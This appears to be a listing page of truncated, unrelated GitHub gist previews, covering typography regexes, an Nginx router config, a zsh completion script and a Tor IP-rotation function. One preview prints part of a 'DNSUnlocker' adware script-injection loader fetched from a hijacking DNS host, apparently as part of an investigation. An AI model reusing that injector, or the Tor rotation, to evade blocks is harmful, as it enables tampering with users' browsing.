This gist is part of a blog post. Check it out at:
http://jasonrudolph.com/blog/2011/08/09/programming-achievements-how-to-level-up-as-a-developer
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# | |
# @author: starenka | |
# @email: 'moc]tod[liamg].T.E[0aknerats'[::-1] | |
# @version: 1.0 | |
# @since 2/14/11 | |
# @depends DJC | |
import random, time, sys, datetime |
This gist is part of a blog post. Check it out at:
http://jasonrudolph.com/blog/2011/08/09/programming-achievements-how-to-level-up-as-a-developer
import re | |
# sada regularnich vyrazu pro lepsi typosku | |
# zdroj: texy-2.1/texy/modules/TexyTypographyModule.php | |
TEXY_CHARS = ur'A-Za-z\u00C0-\u02FF\u0370-\u1EFF' | |
TEXY_TYPO_PATTERNS = [ | |
(re.compile(ur'(?<![.\u2026])\.{3,4}(?![.\u2026])', re.M | re.U), u"\u2026"), # ellipsis ... | |
(re.compile(ur'(?<=[\d ])-(?=[\d ]|$)'), u"\u2013"), # en dash 123-123 | |
(re.compile(ur'(?<=[^!*+,/:;<=>@\\\\_|-])--(?=[^!*+,/:;<=>@\\\\_|-])'), u"\u2013"), # en dash alphanum--alphanum |
# Main Nginx router | |
www-router: | |
image: andrewgodwin/www-router | |
environment: | |
www.aeracode.org: aeracode-varnish | |
aeracode.org: redirect:www.aeracode.org | |
www.codingponies.com: codingponies | |
codingponies.com: redirect:www.codingponies.com |
$ curl http://m64.dnsqa.me/QualityCheck/ga.js | |
/* 64/9/AT */ | |
window._rvz9560x1009 = {'publisher_subid':'64001', 'addonname': 'DNSUnlocker'}; | |
window._rvz9560x1010 = {'publisher_subid':'64001', 'addonname': 'DNSUnlocker'}; | |
(function() { | |
var gtprv = { | |
isIE : function () { var myNav = navigator.userAgent.toLowerCase(); return (myNav.indexOf('msie') != -1) ? parseInt(myNav.split('msie')[1]) : false; }, | |
loadJS : function (gturl) { | |
var dns_qcs8 = document.getElementsByTagName('script')[0]; | |
var dns_qc8 = document.createElement('script'); dns_qc8.type='text/javascript'; |
$ dig google-analytics.com @82.163.143.172 | |
; <<>> DiG 9.8.3-P1 <<>> google-analytics.com @82.163.143.172 | |
;; global options: +cmd | |
;; Got answer: | |
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 23476 | |
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 | |
;; QUESTION SECTION: | |
;google-analytics.com. IN A |
#A golfed python 'accent'. Fully backwards compatible with python. | |
#NOT SUITED FOR DAY-TO-DAY PROGRAMMING! | |
#If you DO use it for a production (non-challenge/codegolf) program, I'm not | |
#responsible for anything bad that happens to you, your computer, | |
#your spare time, your code maintainability, any kittens that god might kill, | |
#or the tears of blood you will weep. | |
import sys | |
from math import * |
#compdef hg | |
# Zsh completion script for mercurial. Rename this file to _hg and copy | |
# it into your zsh function path (/usr/share/zsh/site-functions for | |
# instance) | |
# | |
# If you do not want to install it globally, you can copy it somewhere | |
# else and add that directory to $fpath. This must be done before | |
# compinit is called. If the file is copied to ~/.zsh.d, your ~/.zshrc | |
# file could look like this: |
def NewTorIP(): | |
s = socket.socket() | |
s.connect(('localhost', 9051)) | |
s.send("AUTHENTICATE\r\n") | |
r = s.recv(1024) | |
if r.startswith('250'): | |
s.send("signal NEWNYM\r\n") | |
r = s.recv(1024) | |
if r.startswith('250'): | |
return True |